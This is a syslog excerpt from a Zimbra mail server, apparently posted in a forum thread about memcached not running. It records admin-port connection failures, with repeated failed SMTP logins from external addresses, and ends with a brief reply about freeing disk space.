Jul 8 09:00:38 mail zmmailboxdmgr[6815]: no manager process is running
Jul 8 09:00:53 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:00:53 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:00:53 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:00:53 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:00:53 mail saslauthd[2954]: auth_zimbra: [email protected] auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:00:53 mail saslauthd[2954]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:00:53 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:01:07 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:01:07 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:01:27 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:01:53 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:02:34 mail su: (to root) root on pts/0
Jul 8 09:02:58 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:02:58 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:02:58 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:02:58 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:02:58 mail saslauthd[2954]: auth_zimbra: [email protected] auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:02:58 mail saslauthd[2954]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:02:58 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:03:12 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:03:12 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:03:33 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:04:03 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:05:12 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:05:12 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:05:12 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:05:12 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:05:12 mail saslauthd[2954]: auth_zimbra: [email protected] auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:05:12 mail saslauthd[2954]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:05:12 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:05:25 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:05:25 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:05:39 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:06:06 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:07:11 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:07:11 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:07:11 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:07:11 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:07:11 mail saslauthd[2954]: auth_zimbra: [email protected] auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:07:11 mail saslauthd[2954]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:07:11 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:07:25 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:07:25 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:07:45 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:08:12 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:08:56 mail clamd[2767]: No stats for Database check - forcing reload
Jul 8 09:08:58 mail clamd[2767]: Reading databases from /opt/zimbra/data/clamav/db
Jul 8 09:09:10 mail clamd[2767]: Database correctly reloaded (4566341 signatures)
Jul 8 09:09:16 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:09:16 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:09:16 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:09:16 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:09:16 mail saslauthd[2954]: auth_zimbra: [email protected] auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:09:16 mail saslauthd[2954]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:09:16 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:09:30 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:09:30 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:09:47 mail postfix/anvil[5670]: statistics: max connection rate 1/60s for (465:45.13.39.115) at Jul 8 08:59:47
Jul 8 09:09:47 mail postfix/anvil[5670]: statistics: max connection count 1 for (465:45.13.39.115) at Jul 8 08:59:47
Jul 8 09:09:47 mail postfix/anvil[5670]: statistics: max cache size 1 at Jul 8 08:59:47
Jul 8 09:09:51 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:10:19 mail systemd-logind: New session 37 of user root.
Jul 8 09:10:20 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:11:28 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:11:28 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:11:28 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:11:28 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:11:28 mail saslauthd[2954]: auth_zimbra: [email protected] auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:11:28 mail saslauthd[2954]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:11:28 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:11:42 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:11:42 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:11:57 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:12:08 mail systemd-logind: New session 42 of user root.
Jul 8 09:12:13 mail postfix/smtpd[7510]: connect from unknown[193.169.252.174]
Jul 8 09:12:14 mail postfix/smtpd[7510]: lost connection after AUTH from unknown[193.169.252.174]
Jul 8 09:12:14 mail postfix/smtpd[7510]: disconnect from unknown[193.169.252.174]
Jul 8 09:12:25 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:13:32 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:13:32 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:13:32 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:13:32 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:13:32 mail saslauthd[2954]: auth_zimbra: [email protected] auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:13:32 mail saslauthd[2954]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:13:32 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:13:44 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:13:44 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:14:03 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 09:14:29 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 09:15:34 mail saslauthd[2954]: zmauth: authenticating against elected url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' ...
Jul 8 09:15:34 mail saslauthd[2954]: authentication against url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' caused error 'curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused'
Jul 8 09:15:34 mail saslauthd[2954]: url 'https://mail.hulastudios.co.in:7071/service/admin/soap/' will not be used for (at least) 600 seconds
Jul 8 09:15:34 mail saslauthd[2954]: Authentication cycle re-elected url https://mail.hulastudios.co.in:7071/service/admin/soap/, giving up ...
Jul 8 09:15:34 mail saslauthd[2954]: auth_zimbra: [email protected] auth failed: curl_easy_perform: error(7): Failed to connect to mail.hulastudios.co.in port 7071: Connection refused
Jul 8 09:15:34 mail saslauthd[2954]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=hulastudios.co.in] [mech=zimbra] [reason=Unknown]
Jul 8 09:15:34 mail postfix/smtps/smtpd[4311]: warning: unknown[45.13.39.115]: SASL LOGIN authentication failed: authentication failure
Jul 8 09:15:48 mail postfix/smtps/smtpd[4311]: lost connection after AUTH from unknown[45.13.39.115]
Jul 8 09:15:48 mail postfix/smtps/smtpd[4311]: disconnect from unknown[45.13.39.115]
Jul 8 09:16:09 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]

@scottalanmiller said in zimbra 8.6 memcached is not running:

df -h
i actually cleaned up some space before restarting